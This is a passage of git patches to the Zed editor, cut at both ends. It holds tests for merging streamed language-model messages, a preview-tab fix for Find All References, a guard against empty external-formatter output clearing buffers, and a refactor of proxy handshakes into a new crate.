+                    raw_input: "{\"city\":\"Boston\"}".to_string(),
+                    thought_signature: None,
+                }),
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_2".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Plan continued".to_string()),
+            ]
+        );
+    }
+
+    #[test]
+    fn mantle_response_mapper_treats_reasoning_as_collapse_boundary() {
+        // A reasoning item between two messages breaks adjacency, so the second
+        // message is emitted independently even though it repeats the first's text.
+        let first_message = mantle_message_item("msg_1");
+        let reasoning = mantle_reasoning_item("rsn_1");
+        let second_message = mantle_message_item("msg_2");
+        let events = map_mantle_response_events(vec![
+            item_added(0, first_message.clone()),
+            text_delta("msg_1", 0, "Plan"),
+            item_done(0, first_message),
+            item_added(1, reasoning.clone()),
+            item_done(1, reasoning),
+            item_added(2, second_message.clone()),
+            text_delta("msg_2", 2, "Plan"),
+            item_done(2, second_message),
+        ]);
+
+        assert_eq!(
+            start_messages_and_texts(events),
+            vec![
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_1".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Plan".to_string()),
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_2".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Plan".to_string()),
+            ]
+        );
+    }
+
+    #[test]
+    fn mantle_response_mapper_preserves_equal_and_shrinking_messages() {
+        // Equal and strict-prefix (shrinking) adjacent messages must not be dropped:
+        // they are emitted as independent messages rather than collapsed away.
+        let first_message = mantle_message_item("msg_1");
+        let second_message = mantle_message_item("msg_2");
+        let third_message = mantle_message_item("msg_3");
+        let events = map_mantle_response_events(vec![
+            item_added(0, first_message.clone()),
+            text_delta("msg_1", 0, "Hello world"),
+            item_done(0, first_message),
+            // Equal to the previous message.
+            item_added(1, second_message.clone()),
+            text_delta("msg_2", 1, "Hello world"),
+            item_done(1, second_message),
+            // Strict prefix of (shorter than) the previous message.
+            item_added(2, third_message.clone()),
+            text_delta("msg_3", 2, "Hello"),
+            item_done(2, third_message),
+        ]);
+
+        assert_eq!(
+            events,
+            vec![
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_1".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Hello world".to_string()),
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_2".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Hello world".to_string()),
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_3".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Hello".to_string()),
+            ]
+        );
+    }
+
+    #[test]
+    fn mantle_response_mapper_keeps_different_phase_messages_separate() {
+        // Two messages share a text prefix but have different phases; only same-phase
+        // strict extensions collapse, so the second message stays visible.
+        let first_message = mantle_message_item_with_phase("msg_1", Some("commentary"));
+        let second_message = mantle_message_item_with_phase("msg_2", Some("final_answer"));
+        let events = map_mantle_response_events(vec![
+            item_added(0, first_message.clone()),
+            text_delta("msg_1", 0, "Plan: rename"),
+            item_done(0, first_message),
+            item_added(1, second_message.clone()),
+            text_delta("msg_2", 1, "Plan: rename and regenerate"),
+            item_done(1, second_message),
+        ]);
+
+        assert_eq!(
+            start_messages_and_texts(events),
+            vec![
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_1".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Plan: rename".to_string()),
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_2".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Plan: rename and regenerate".to_string()),
+            ]
+        );
+    }
+
+    #[test]
+    fn mantle_response_mapper_coalesces_same_phase_strict_extension() {
+        // Same phase, strict extension: the replayed prefix is collapsed and only the
+        // new suffix is emitted, so no second StartMessage appears.
+        let first_message = mantle_message_item_with_phase("msg_1", Some("final_answer"));
+        let second_message = mantle_message_item_with_phase("msg_2", Some("final_answer"));
+        let events = map_mantle_response_events(vec![
+            item_added(0, first_message.clone()),
+            text_delta("msg_1", 0, "Plan: rename"),
+            item_done(0, first_message),
+            item_added(1, second_message.clone()),
+            text_delta("msg_2", 1, "Plan: rename"),
+            text_delta("msg_2", 1, " and regenerate"),
+            item_done(1, second_message),
+        ]);
+
+        assert_eq!(
+            start_messages_and_texts(events),
+            vec![
+                LanguageModelCompletionEvent::StartMessage {
+                    message_id: "msg_1".to_string(),
+                },
+                LanguageModelCompletionEvent::Text("Plan: rename".to_string()),
+                LanguageModelCompletionEvent::Text(" and regenerate".to_string()),
+            ]
+        );
+    }
+
+    #[test]
+    fn mantle_response_mapper_does_not_duplicate_reasoning_details_on_merge() {
+        // Merging a second message into the first must not emit any additional
+        // phase/reasoning metadata events beyond what the first message alone would
+        // have produced, since the metadata can't have changed by merging.
+        fn reasoning_details_count(events: &[LanguageModelCompletionEvent]) -> usize {
+            events
+                .iter()
+                .filter(|event| matches!(event, LanguageModelCompletionEvent::ReasoningDetails(_)))
+                .count()
+        }
+
+        let first_message = mantle_message_item_with_phase("msg_1", Some("final_answer"));
+        let baseline_events = map_mantle_response_events(vec![
+            item_added(0, first_message.clone()),
+            text_delta("msg_1", 0, "Plan: rename"),
+            item_done(0, first_message.clone()),
+        ]);
+
+        let second_message = mantle_message_item_with_phase("msg_2", Some("final_answer"));
+        let merged_events = map_mantle_response_events(vec![
+            item_added(0, first_message.clone()),
+            text_delta("msg_1", 0, "Plan: rename"),
+            item_done(0, first_message),
+            item_added(1, second_message.clone()),
+            text_delta("msg_2", 1, "Plan: rename"),
+            text_delta("msg_2", 1, " and regenerate"),
+            item_done(1, second_message),
+        ]);
+
+        assert_eq!(
+            reasoning_details_count(&merged_events),
+            reasoning_details_count(&baseline_events),
+        );
+    }
+
     #[test]
     fn test_builtin_mantle_models_support_thinking() {
         assert!(MantleModel::Gpt5_6Sol.supports_thinking());

From b0f145f4aec671970340a528cb8197181e969e8c Mon Sep 17 00:00:00 2001
From: Shuhei Kadowaki <40514306+aviatesk@users.noreply.github.com>
Date: Fri, 24 Jul 2026 03:56:45 +0900
Subject: [PATCH 667/772] editor: Preserve preview tabs for references
 multibuffers (#61021)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

When `preview_tabs.enabled` and
`preview_tabs.enable_preview_multibuffer_from_code_navigation` are
enabled, Find All References opens its multibuffer as a preview tab.

A references multibuffer is assembled from existing buffers, which may
already contain edits when the preview is created. When creating the
multibuffer to display the references, it ends up emitting edit events
as excerpts are added, this will later cause `Pane::handle_item_edit` to
run, which would see these buffer edits since `Buffer::preview_version`
and unpreview the tab, as the `Buffer::preview_version` value was not
being updated after edits.

Refresh the multibuffer’s preview baseline before opening a newly
created code-navigation multibuffer as a preview. Background diff
updates then preserve the preview, while subsequent user edits still
make it permanent. This leaves the existing editor event and search
invalidation behavior unchanged.

Release Notes:

- Fixed `editor: find all references` preview tabs becoming permanent
tabs if any of the buffers had been edited before

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/editor/src/editor_tests.rs | 83 +++++++++++++++++++++++++++++++
 crates/editor/src/navigation.rs   |  5 ++
 2 files changed, 88 insertions(+)

diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index b81634785a903e..830613be16a262 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -29895,6 +29895,89 @@ async fn test_find_all_references_editor_reuse(cx: &mut TestAppContext) {
         );
     });
 }
+
+#[gpui::test]
+async fn test_find_all_references_preserves_preview_tab(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+    cx.update(|cx| {
+        SettingsStore::update_global(cx, |store, cx| {
+            store.update_user_settings(cx, |settings: &mut SettingsContent| {
+                let preview_tabs = settings.preview_tabs.get_or_insert_default();
+                preview_tabs.enabled = Some(true);
+                preview_tabs.enable_preview_multibuffer_from_code_navigation = Some(true);
+            });
+        });
+    });
+
+    let mut cx = EditorLspTestContext::new_rust(
+        lsp::ServerCapabilities {
+            references_provider: Some(lsp::OneOf::Left(true)),
+            ..lsp::ServerCapabilities::default()
+        },
+        cx,
+    )
+    .await;
+
+    // Calling `set_state` here will make it such that the underlying buffer
+    // will now report edits since its `preview_version` field, which is set
+    // when the buffer is first created. That is one of the conditions that
+    // determines whether a pane's item should remain as the preview item, or
+    // not, as such, if that field is not updated accordingly, we'd end up not
+    // having a preview item at the end of the test.
+    cx.set_state(
+        &r#"
+        fn one() {
+            let mut a = two();
+        }
+
+        fn ˇtwo() {}"#
+            .unindent(),
+    );
+    cx.executor().run_until_parked();
+
+    cx.lsp
+        .set_request_handler::<lsp::request::References, _, _>(move |params, _| async move {
+            Ok(Some(vec![
+                lsp::Location {
+                    uri: params.text_document_position.text_document.uri.clone(),
+                    range: lsp::Range::new(lsp::Position::new(0, 16), lsp::Position::new(0, 19)),
+                },
+                lsp::Location {
+                    uri: params.text_document_position.text_document.uri,
+                    range: lsp::Range::new(lsp::Position::new(4, 4), lsp::Position::new(4, 7)),
+                },
+            ]))
+        });
+
+    // Using the `editor: find all references` action adds excerpts to the
+    // multibuffer, which emits `ItemEvent::Edit`. When the pane handles that
+    // event it decides whether to keep its preview item and, if the buffer
+    // reports any edits since its `preview_version`, the item is unpreviewed.
+    // We also need to run until the executor is parked because the
+    // `ItemEvent::Edit` is delivered later, after the item has been registered
+    // with the pane.
+    assert_eq!(
+        cx.update_editor(|editor, window, cx| {
+            editor.find_all_references(&FindAllReferences::default(), window, cx)
+        })
+        .expect("Editor::find_all_references should return a task")
+        .await
+        .expect("Should be able to find all references"),
+        Navigated::Yes
+    );
+    cx.executor().run_until_parked();
+
+    cx.update_workspace(|workspace, _window, cx| {
+        let active_pane = workspace.active_pane().read(cx);
+
+        assert_eq!(
+            active_pane.preview_item_id(),
+            Some(active_pane.active_item().unwrap().item_id()),
+            "The preview item id should be the same as the id of the multibuffer"
+        );
+    });
+}
+
 #[gpui::test]
 async fn test_find_enclosing_node_with_task(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/editor/src/navigation.rs b/crates/editor/src/navigation.rs
index 3d4b42a3054242..55a7010995379d 100644
--- a/crates/editor/src/navigation.rs
+++ b/crates/editor/src/navigation.rs
@@ -2294,6 +2294,11 @@ impl Editor {
         pane.update(cx, |pane, cx| {
             if allow_preview && !was_existing {
                 destination_index = pane.replace_preview_item_id(item.item_id(), window, cx);
+                editor.update(cx, |editor, cx| {
+                    editor
+                        .buffer
+                        .update(cx, |buffer, cx| buffer.refresh_preview(cx))
+                });
             }
             if was_existing && !allow_preview {
                 pane.unpreview_item_if_preview(item.item_id());

From 97d854b89b5b38c189e9dee6351b861fbb202214 Mon Sep 17 00:00:00 2001
From: saberoueslati <saberoueslati12@gmail.com>
Date: Thu, 23 Jul 2026 22:21:38 +0100
Subject: [PATCH 668/772] project: Prevent empty external formatter output from
 clearing buffers (#61276)

## Context

Zed runs external formatters as stdin/stdout filters: it writes the
current buffer to stdin and replaces the buffer with the formatter's
stdout. Commands such as `cargo fmt` instead rewrite files on disk and
exit successfully without producing stdout, causing Zed to interpret the
empty output as the formatted contents and clear a non-empty buffer.

The fix treats empty stdout from a successful external formatter as no
output when the original buffer is non-empty. Zed leaves the buffer
unchanged and displays a notification explaining that the formatter did
not return formatted contents. The formatter documentation now clarifies
the stdin/stdout contract and recommends using the Rust language server
or invoking `rustfmt` directly.

Closes #56344

Behavior before the fix :

[Screencast from 2026-07-19
02-58-29.webm](https://github.com/user-attachments/assets/61fc5bf9-4420-43f1-94a3-394bbbc4f2a0)


Behavior after the fix :

[Screencast from 2026-07-19
02-55-35.webm](https://github.com/user-attachments/assets/21062065-6b95-4cd4-8200-506f5681d98e)


## How to Review

**crates/project/src/lsp_store.rs**
Start with `format_via_external_command`, which now checks whether a
successful formatter returned empty stdout while the input buffer was
non-empty. In that case, it returns `None` before constructing a diff,
preventing the buffer contents from being replaced with an empty string.
Then review the external formatter branch in `apply_formatter`: when it
receives `None`, it skips extending the formatting transaction, logs the
condition, and emits an `LspStoreEvent::Notification` explaining why the
buffer was left unchanged.

**crates/editor/src/editor_tests.rs**
Adds a GPUI regression test that configures an external command to
consume stdin and return no stdout. It uses platform-specific commands
for Windows and Unix, invokes manual formatting on a non-empty Rust
buffer, and verifies that the buffer remains unchanged, the operation is
not recorded as a formatter failure, and a notification is emitted.

**docs/src/reference/all-settings.md**
Extends the external formatter documentation to state that formatters
must return the formatted buffer through stdout. It calls out
file-rewriting tools such as `cargo fmt` as incompatible and recommends
using the Rust language server or `rustfmt --emit stdout`.

## Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the UI/UX checklist
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed external formatters that produce no output clearing non-empty
buffers
---
 crates/editor/src/editor_tests.rs  | 74 ++++++++++++++++++++++++++++++
 crates/project/src/lsp_store.rs    | 10 ++++
 docs/src/reference/all-settings.md |  2 +
 3 files changed, 86 insertions(+)

diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 830613be16a262..dbf3e48cf38e87 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -18093,6 +18093,80 @@ async fn test_auto_formatter_failure_is_silent(cx: &mut TestAppContext) {
     );
 }
 
+#[gpui::test]
+async fn test_external_formatter_with_no_output_leaves_buffer_unchanged(cx: &mut TestAppContext) {
+    init_test(cx, |settings| {
+        #[cfg(windows)]
+        let (command, arguments) = ("cmd", vec!["/C".to_string(), "more > nul".to_string()]);
+        #[cfg(not(windows))]
+        let (command, arguments) = ("sh", vec!["-c".to_string(), "cat >/dev/null".to_string()]);
+
+        // Consume stdin without printing anything, mirroring tools like `cargo fmt`
+        // that format files in place instead of writing to stdout.
+        settings.defaults.formatter = Some(FormatterList::Single(Formatter::External {
+            command: command.into(),
+            arguments: Some(arguments),
+        }));
+    });
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_file(path!("/file.rs"), "fn main() {}\n".into())
+        .await;
+
+    let project = Project::test(fs, [path!("/").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/file.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let buffer = cx.new(|cx| MultiBuffer::singleton(buffer, cx));
+    let (editor, cx) = cx.add_window_view(|window, cx| {
+        build_editor_with_project(project.clone(), buffer, window, cx)
+    });
+
+    // Formatting via an external command spawns a real subprocess, whose I/O
+    // happens off the deterministic test scheduler.
+    cx.executor().allow_parking();
+
+    editor
+        .update_in(cx, |editor, window, cx| {
+            editor.perform_format(
+                project.clone(),
+                FormatTrigger::Manual,
+                FormatTarget::Buffers(editor.buffer().read(cx).all_buffers()),
+                window,
+                cx,
+            )
+        })
+        .unwrap()
+        .await;
+
+    editor.update(cx, |editor, cx| {
+        assert_eq!(
+            editor.text(cx),
+            "fn main() {}\n",
+            "buffer should be left unchanged when the external formatter produces no output"
+        );
+    });
+
+    let last_failure = project.read_with(cx, |project, cx| {
+        project
+            .lsp_store()
+            .read(cx)
+            .last_formatting_failure()
+            .map(str::to_string)
+    });
+    assert_eq!(
+        last_failure, None,
+        "producing no output is not a formatter failure"
+    );
+}
+
 #[gpui::test]
 async fn test_concurrent_format_requests(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 8a0d37adda8c90..e8bb95ac0db52c 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -2601,6 +2601,16 @@ impl LocalLspStore {
         );
 
         let stdout = String::from_utf8(output.stdout)?;
+        if stdout.is_empty() && !text.is_empty() {
+            // Some formatters (e.g. `cargo fmt`) rewrite files on disk instead of
+            // printing the formatted contents to stdout. Treating empty stdout as the
+            // new buffer contents would erase the buffer, so leave it untouched.
+            log::warn!(
+                "External formatter `{command}` produced no output on stdout; leaving the buffer unchanged"
+            );
+            return Ok(None);
+        }
+
         Ok(Some(
             buffer
                 .handle
diff --git a/docs/src/reference/all-settings.md b/docs/src/reference/all-settings.md
index 25024fc908bf89..d785045fdb3816 100644
--- a/docs/src/reference/all-settings.md
+++ b/docs/src/reference/all-settings.md
@@ -2004,6 +2004,8 @@ Similar to `modifications`, but behaves like `on` when range formatting cannot b
 }
 ```
 
+Tools that rewrite files on disk instead of printing the formatted contents to stdout (such as `cargo fmt`) are not compatible with `"external"`: since Zed reads the formatted buffer from stdout, a formatter that emits nothing there will not update the buffer. For Rust, use `"formatter": "language_server"` or invoke `rustfmt` directly (which supports stdin/stdout via `--emit stdout`) instead of `cargo fmt`.
+
 3. External formatters may optionally include a `{buffer_path}` placeholder which at runtime will include the path of the buffer being formatted. Formatters operate by receiving file content via standard input, reformatting it and then outputting it to standard output and so normally don't know the filename of what they are formatting. Tools like Prettier support receiving the file path via a command line argument which can then be used to impact formatting decisions.
 
 WARNING: `{buffer_path}` should not be used to direct your formatter to read from a filename. Your formatter should only read from standard input and should not read or write files directly.

From dd3a94e2e51f2c807ccb3f6a426c017534441fd6 Mon Sep 17 00:00:00 2001
From: Eric Holk <eric@zed.dev>
Date: Thu, 23 Jul 2026 15:46:06 -0700
Subject: [PATCH 669/772] client: Extract proxy handshakes into a new
 proxy_handshake crate (#61427)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This consolidates the proxy code in `client/src/proxy` into a new
`proxy_handshake` crate that implements the client side of HTTP CONNECT
and SOCKS4/4a/5/5h handshakes sans-IO: the protocol logic is a pure
state machine that never touches a socket, with thin drivers behind
`futures-io` and `tokio` feature flags. `client` now drives the
websocket's proxy tunnel through the tokio driver, and the `tokio-socks`
dependency goes away.

The main win is testability: the handshakes are now covered by
synchronous byte-level tests on both sides of each exchange, plus a
property test that the outcome is invariant under how the proxy's bytes
are chunked across reads — the class of partial-read bug that's hard to
hit with hand-written tests but easy to hit in production behind a
buffering proxy. The crate is written as if it were standalone (no
zed-internal dependencies, structured errors instead of `anyhow`), which
is also why it grows both driver flavors rather than just the one
`client` needs today.

Two deliberate behavior changes, both converging on spec/curl semantics:

- Proxy credentials embedded in URLs are now percent-decoded before use,
per RFC 3986 §3.2.1. Previously they were sent in their encoded form,
which only worked for credentials with no reserved characters. A
password that literally contains something like `%40` and relied on the
old behavior now needs the RFC-correct `%2540` spelling.
- `NO_PROXY` is now honored for the collaboration connection, matching
the exclusions reqwest already applies to the rest of Zed's HTTP
traffic.

TLS to the proxy itself (for `https://` proxy URLs) and DNS policy stay
in `client`, since those are I/O concerns the sans-IO crate deliberately
doesn't own.

Release Notes:

- Improved proxy support: the collaboration connection now respects
`NO_PROXY` and percent-encoded proxy credentials.
---
 Cargo.lock                                    |  20 +-
 Cargo.toml                                    |   7 +-
 crates/client/Cargo.toml                      |   4 +-
 crates/client/src/client.rs                   |   8 +-
 crates/client/src/proxy.rs                    | 116 +--
 crates/client/src/proxy/http_proxy.rs         | 193 -----
 crates/client/src/proxy/socks_proxy.rs        | 226 ------
 crates/proxy_handshake/Cargo.toml             |  34 +
 crates/proxy_handshake/LICENSE-APACHE         |   1 +
 crates/proxy_handshake/src/futures_io.rs      | 191 +++++
 crates/proxy_handshake/src/handshake.rs       | 708 ++++++++++++++++++
 crates/proxy_handshake/src/proxy_handshake.rs | 393 ++++++++++
 crates/proxy_handshake/src/tokio.rs           | 139 ++++
 13 files changed, 1562 insertions(+), 478 deletions(-)
 delete mode 100644 crates/client/src/proxy/http_proxy.rs
 delete mode 100644 crates/client/src/proxy/socks_proxy.rs
 create mode 100644 crates/proxy_handshake/Cargo.toml
 create mode 120000 crates/proxy_handshake/LICENSE-APACHE
 create mode 100644 crates/proxy_handshake/src/futures_io.rs
 create mode 100644 crates/proxy_handshake/src/handshake.rs
 create mode 100644 crates/proxy_handshake/src/proxy_handshake.rs
 create mode 100644 crates/proxy_handshake/src/tokio.rs

diff --git a/Cargo.lock b/Cargo.lock
index 6b4c6950b3f34b..300c9230fd5f7d 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -3188,7 +3188,6 @@ dependencies = [
  "anyhow",
  "async-channel 2.5.0",
  "async-tungstenite",
- "base64 0.22.1",
  "chrono",
  "clock",
  "cloud_api_client",
@@ -3204,12 +3203,12 @@ dependencies = [
  "gpui_tokio",
  "http_client",
  "http_client_tls",
- "httparse",
  "log",
  "objc2-foundation 0.3.2",
  "parking_lot",
  "paths",
  "postage",
+ "proxy_handshake",
  "rand 0.9.4",
  "regex",
  "release_channel",
@@ -3231,7 +3230,6 @@ dependencies = [
  "tokio",
  "tokio-native-tls",
  "tokio-rustls 0.26.4",
- "tokio-socks",
  "url",
  "util",
  "windows 0.61.3",
@@ -14493,6 +14491,21 @@ dependencies = [
  "thiserror 1.0.69",
 ]
 
+[[package]]
+name = "proxy_handshake"
+version = "0.1.0"
+dependencies = [
+ "base64 0.22.1",
+ "futures 0.3.32",
+ "httparse",
+ "percent-encoding",
+ "piper",
+ "proptest",
+ "thiserror 2.0.17",
+ "tokio",
+ "url",
+]
+
 [[package]]
 name = "proxyvars"
 version = "0.2.0"
@@ -19015,7 +19028,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0d4770b8024672c1101b3f6733eab95b18007dbe0847a8afe341fcf79e06043f"
 dependencies = [
  "either",
- "futures-io",
  "futures-util",
  "thiserror 1.0.69",
  "tokio",
diff --git a/Cargo.toml b/Cargo.toml
index 5741492485d8be..44e6df8376b5d9 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -164,6 +164,7 @@ members = [
     "crates/project_symbols",
     "crates/prompt_store",
     "crates/proto",
+    "crates/proxy_handshake",
     "crates/recent_projects",
     "crates/refineable",
     "crates/refineable/derive_refineable",
@@ -428,6 +429,7 @@ project_panel = { path = "crates/project_panel" }
 project_symbols = { path = "crates/project_symbols" }
 prompt_store = { path = "crates/prompt_store" }
 proto = { path = "crates/proto" }
+proxy_handshake = { path = "crates/proxy_handshake" }
 recent_projects = { path = "crates/recent_projects" }
 refineable = { path = "crates/refineable" }
 release_channel = { path = "crates/release_channel" }
@@ -734,6 +736,7 @@ pet-fs = { git = "https://github.com/microsoft/python-environment-tools.git", re
 pet-poetry = { git = "https://github.com/microsoft/python-environment-tools.git", rev = "9e61a22af989fe54937bf07c9f9cff1bc53d9056" }
 pet-reporter = { git = "https://github.com/microsoft/python-environment-tools.git", rev = "9e61a22af989fe54937bf07c9f9cff1bc53d9056" }
 pet-virtualenv = { git = "https://github.com/microsoft/python-environment-tools.git", rev = "9e61a22af989fe54937bf07c9f9cff1bc53d9056" }
+piper = "0.2"
 portable-pty = "0.9.0"
 postage = { version = "0.5", features = ["futures-traits"] }
 pretty_assertions = { version = "1.3.0", features = ["unstable"] }
@@ -822,10 +825,6 @@ time = { version = "0.3", features = [
 ] }
 tiny_http = "0.12"
 tokio = { version = "1" }
-tokio-socks = { version = "0.5.2", default-features = false, features = [
-    "futures-io",
-    "tokio",
-] }
 toml = "0.8"
 toml_edit = { version = "0.22", default-features = false, features = [
     "display",
diff --git a/crates/client/Cargo.toml b/crates/client/Cargo.toml
index 91c35a15bb69ae..f2892ba6114c04 100644
--- a/crates/client/Cargo.toml
+++ b/crates/client/Cargo.toml
@@ -19,7 +19,6 @@ test-support = ["clock/test-support", "collections/test-support", "gpui/test-sup
 anyhow.workspace = true
 async-channel.workspace = true
 async-tungstenite = { workspace = true, features = ["tokio", "tokio-rustls-manual-roots"] }
-base64.workspace = true
 chrono = { workspace = true, features = ["serde"] }
 clock.workspace = true
 cloud_api_client.workspace = true
@@ -35,11 +34,11 @@ gpui.workspace = true
 gpui_tokio.workspace = true
 http_client.workspace = true
 http_client_tls.workspace = true
-httparse = "1.10"
 log.workspace = true
 parking_lot.workspace = true
 paths.workspace = true
 postage.workspace = true
+proxy_handshake = { workspace = true, features = ["tokio"] }
 rand.workspace = true
 regex.workspace = true
 release_channel.workspace = true
@@ -56,7 +55,6 @@ text.workspace = true
 thiserror.workspace = true
 time.workspace = true
 tiny_http.workspace = true
-tokio-socks.workspace = true
 tokio.workspace = true
 url.workspace = true
 util.workspace = true
diff --git a/crates/client/src/client.rs b/crates/client/src/client.rs
index 2c8dfa8ba47ef7..7273da72222c85 100644
--- a/crates/client/src/client.rs
+++ b/crates/client/src/client.rs
@@ -30,7 +30,7 @@ use gpui::{App, AsyncApp, Entity, Global, Task, TaskExt, WeakEntity, actions};
 use http_client::{HttpClient, HttpClientWithUrl, http, read_proxy_from_env};
 use parking_lot::{Mutex, RwLock};
 use postage::watch;
-use proxy::connect_proxy_stream;
+use proxy::{connect_proxy_stream, excluded_from_proxy};
 use rand::prelude::*;
 use release_channel::{AppVersion, ReleaseChannel};
 use rpc::proto::{AnyTypedEnvelope, EnvelopedMessage, PeerId, RequestMessage};
@@ -1362,8 +1362,10 @@ impl Client {
                         .zip(rpc_url.port_or_known_default())
                         .context("missing host in rpc url")?;
                     Ok(match proxy {
-                        Some(proxy) => connect_proxy_stream(&proxy, rpc_host).await?,
-                        None => Box::new(TcpStream::connect(rpc_host).await?),
+                        Some(proxy) if !excluded_from_proxy(rpc_host.0) => {
+                            connect_proxy_stream(&proxy, rpc_host).await?
+                        }
+                        _ => Box::new(TcpStream::connect(rpc_host).await?),
                     })
                 }
             })
diff --git a/crates/client/src/proxy.rs b/crates/client/src/proxy.rs
index eb3812ca07270b..53328b6e096e51 100644
--- a/crates/client/src/proxy.rs
+++ b/crates/client/src/proxy.rs
@@ -1,66 +1,92 @@
-//! client proxy
-
-mod http_proxy;
-mod socks_proxy;
+//! Proxied connections for the collaboration WebSocket.
+//!
+//! Proxy URLs come from settings or the environment (see
+//! `ProxySettings::proxy_url`); this module dials the proxy, wraps the
+//! connection in TLS when an `https://` proxy asks for it, and tunnels
+//! through it with `proxy_handshake`.
 
 use anyhow::{Context as _, Result};
 use http_client::Url;
-use http_proxy::{HttpProxyType, connect_http_proxy_stream, parse_http_proxy};
-use socks_proxy::{SocksVersion, connect_socks_proxy_stream, parse_socks_proxy};
+use proxy_handshake::{ProxyScheme, ProxySpec, Target};
+use tokio::net::TcpStream;
+
+pub(crate) trait AsyncReadWrite:
+    tokio::io::AsyncRead + tokio::io::AsyncWrite + Unpin + Send + 'static
+{
+}
+impl<T: tokio::io::AsyncRead + tokio::io::AsyncWrite + Unpin + Send + 'static> AsyncReadWrite
+    for T
+{
+}
+
+/// Whether `NO_PROXY` in the environment excludes `host` from proxying,
+/// matching the exclusions the HTTP client already applies to its own
+/// requests.
+pub(crate) fn excluded_from_proxy(host: &str) -> bool {
+    http_client::read_no_proxy_from_env()
+        .is_some_and(|no_proxy| proxy_handshake::no_proxy_matches(&no_proxy, host))
+}
 
 pub(crate) async fn connect_proxy_stream(
     proxy: &Url,
     rpc_host: (&str, u16),
 ) -> Result<Box<dyn AsyncReadWrite>> {
-    let Some(((proxy_domain, proxy_port), proxy_type)) = parse_proxy_type(proxy) else {
-        // If parsing the proxy URL fails, we must avoid falling back to an insecure connection.
-        // SOCKS proxies are often used in contexts where security and privacy are critical,
-        // so any fallback could expose users to significant risks.
-        anyhow::bail!("Parsing proxy url failed");
+    // If parsing the proxy URL fails, we must avoid falling back to an
+    // insecure connection. Proxies are often used in contexts where security
+    // and privacy are critical, so any fallback could expose users to
+    // significant risks.
+    let spec = ProxySpec::parse(proxy).context("parsing proxy URL")?;
+
+    let target = if spec.remote_dns() {
+        Target::Domain(rpc_host.0.to_string(), rpc_host.1)
+    } else {
+        // SOCKS4 requests carry a raw IPv4 address, so the target must
+        // resolve to one.
+        let requires_ipv4 = matches!(spec.scheme, ProxyScheme::Socks4 { .. });
+        let address = tokio::net::lookup_host(rpc_host)
+            .await
+            .with_context(|| format!("failed to lookup domain {}", rpc_host.0))?
+            .find(|address| !requires_ipv4 || address.is_ipv4())
+            .with_context(|| format!("failed to lookup domain {}", rpc_host.0))?;
+        Target::Address(address)
     };
 
-    // Connect to proxy and wrap protocol later
-    let stream = tokio::net::TcpStream::connect((proxy_domain.as_str(), proxy_port))
+    let stream = TcpStream::connect((spec.host.as_str(), spec.port))
         .await
         .context("Failed to connect to proxy")?;
 
-    let proxy_stream = match proxy_type {
-        ProxyType::SocksProxy(proxy) => connect_socks_proxy_stream(stream, proxy, rpc_host).await?,
-        ProxyType::HttpProxy(proxy) => {
-            connect_http_proxy_stream(stream, proxy, rpc_host, &proxy_domain).await?
-        }
+    let stream: Box<dyn AsyncReadWrite> = if spec.tls() {
+        Box::new(connect_tls_to_proxy(stream, &spec.host).await?)
+    } else {
+        Box::new(stream)
     };
 
-    Ok(proxy_stream)
-}
-
-enum ProxyType<'t> {
-    SocksProxy(SocksVersion<'t>),
-    HttpProxy(HttpProxyType<'t>),
+    let stream = proxy_handshake::tokio::establish(stream, &spec, &target)
+        .await
+        .context("error connecting through proxy")?;
+    Ok(Box::new(stream))
 }
 
-fn parse_proxy_type(proxy: &Url) -> Option<((String, u16), ProxyType<'_>)> {
-    let scheme = proxy.scheme();
-    let host = proxy.host()?.to_string();
-    let port = proxy.port_or_known_default()?;
-    let proxy_type = match scheme {
-        scheme if scheme.starts_with("socks") => {
-            Some(ProxyType::SocksProxy(parse_socks_proxy(scheme, proxy)))
-        }
-        scheme if scheme.starts_with("http") => {
-            Some(ProxyType::HttpProxy(parse_http_proxy(scheme, proxy)))
-        }
-        _ => None,
-    }?;
+#[cfg(any(target_os = "windows", target_os = "macos"))]
+async fn connect_tls_to_proxy(
+    stream: TcpStream,
